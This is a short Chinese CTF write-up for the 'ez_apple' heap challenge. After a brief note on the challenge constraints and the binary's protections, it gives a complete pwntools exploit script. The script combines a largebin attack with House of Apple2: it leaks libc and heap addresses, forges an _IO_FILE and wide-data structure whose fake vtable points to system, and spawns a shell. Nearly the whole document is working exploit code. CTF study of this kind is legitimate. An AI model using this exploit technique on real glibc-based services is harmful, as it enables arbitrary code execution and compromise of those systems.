[2025 黑龙江省赛]ez_apple

板子题,主要设了两个限制:1. add 时只能 add 0x500 – 0x520 大小的堆块;2. show 只能 show 出 8 个 Byte. house of apple2 梭就完了。

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No
$ strings ./libc.so.6| grep "GNU"
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.8) stable release version 2.35.
Compiled by GNU CC version 11.4.0.

largebin attack + house of apple2

from pwn import *

libc = ELF('./libc.so.6')
elf = ELF('./pwn.orig')

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

local = 1
if local == 1:
    io = process('./pwn.orig')
    # gdb.attach(io, "b *$rebase(0x14d7)")
    # gdb.attach(io, "b *0x7ffff7e1bc9f")
else:
    io = remote("", )

def cmd(choice):
    io.sendlineafter(b'> \n', str(choice).encode())

def add(idx, size, content):
    cmd(1)
    io.sendlineafter(b'yours Index: \n', str(idx).encode())
    io.sendlineafter(b'yours Size: \n', str(size).encode())
    io.sendafter(b'yours Content: \n', content)

def delete(idx):
    cmd(2)
    io.sendlineafter(b'yours Index: \n', str(idx).encode())

def show(idx):
    cmd(4)
    io.sendlineafter(b'yours Index: ', str(idx).encode())

def edit(idx, content):
    cmd(3)
    io.sendlineafter(b'yours Index: \n', str(idx).encode())
    io.sendafter(b'yours Content: \n', content)

def pwn():
    add(0, 0x510, b'a')
    add(1, 0x500, b'b') # pad
    add(2, 0x500, b'c')
    add(12, 0x500, b'd') # pad
    add(11, 0x520, b'd')
    add(5, 0x500, b'd') # pad
    delete(12)
    delete(11)
    add(3, 0x520, b'd')
    add(4, 0x500, b'd')
    # pause()

    delete(0) # 0 into unsortedbin
    show(0)

    io.recvline()
    leak_libc = u64(io.recvline()[:6].ljust(8, b'\x00'))
    libc.address = leak_libc - 0x21ace0
    success("leak_libc: " + hex(libc.address))

    _IO_list_all = libc.address + 0x21b680

    add(6, 0x520, b'e') # 0 into largebin
    # pause()
    delete(2) # 2 into unsortedbin
    delete(4) # 4 into unsortedbin
    show(4)
    io.recvline()
    leak_heap = u64(io.recvline()[:6].ljust(8, b'\x00'))
    heap_base = leak_heap - 0xcc0
    success("leak_heap: " + hex(heap_base))

    payload = flat(
        libc.address + 0x21b110,
        libc.address + 0x21b110,
        heap_base + 0x290,
        _IO_list_all - 0x20
    )
    edit(0, payload)
    # pause()
    add(7, 0x500, b'f') # 2 is taken away
    add(8, 0x520, b'g') # 4 into largebin, 0 -> 4

    _IO_wfile_jumps = libc.address + 0x2170c0
    system_addr = libc.sym['system']
    fake_file_addr = heap_base + 0x1700
    fake_wide_offset = 0x100
    fake_wide_data = fake_file_addr + fake_wide_offset
    fake_vtable_offset = 0x200

    payload = flat({
        # fake_IO_FILE
        0x0:  b"   sh",
        0x48: 0,
        0x50: 0,
        0x58: 0,
        0x60: 0,
        0x70: 1,
        0x78: -1,
        0x88: libc.address + 0x21ca60,
        0xc0: 1,
        0xd8: _IO_wfile_jumps - 0x40, # 动调找到偏移
        0xa0: fake_wide_data,

        # fake _IO_wide_data
        fake_wide_offset + 0x18 : 0,
        fake_wide_offset + 0x30 : 0,
        fake_wide_offset + 0xe0 : fake_file_addr + 0x200,

        # fake vtable
        fake_vtable_offset + 0x68 : system_addr,
    }, filler = b'\x00')

    edit(11, p64(0)*2 + payload)

    # pause()
    cmd(1)
    io.sendlineafter(b'yours Index: \n', b'16')

    io.interactive()

pwn()
上一篇
下一篇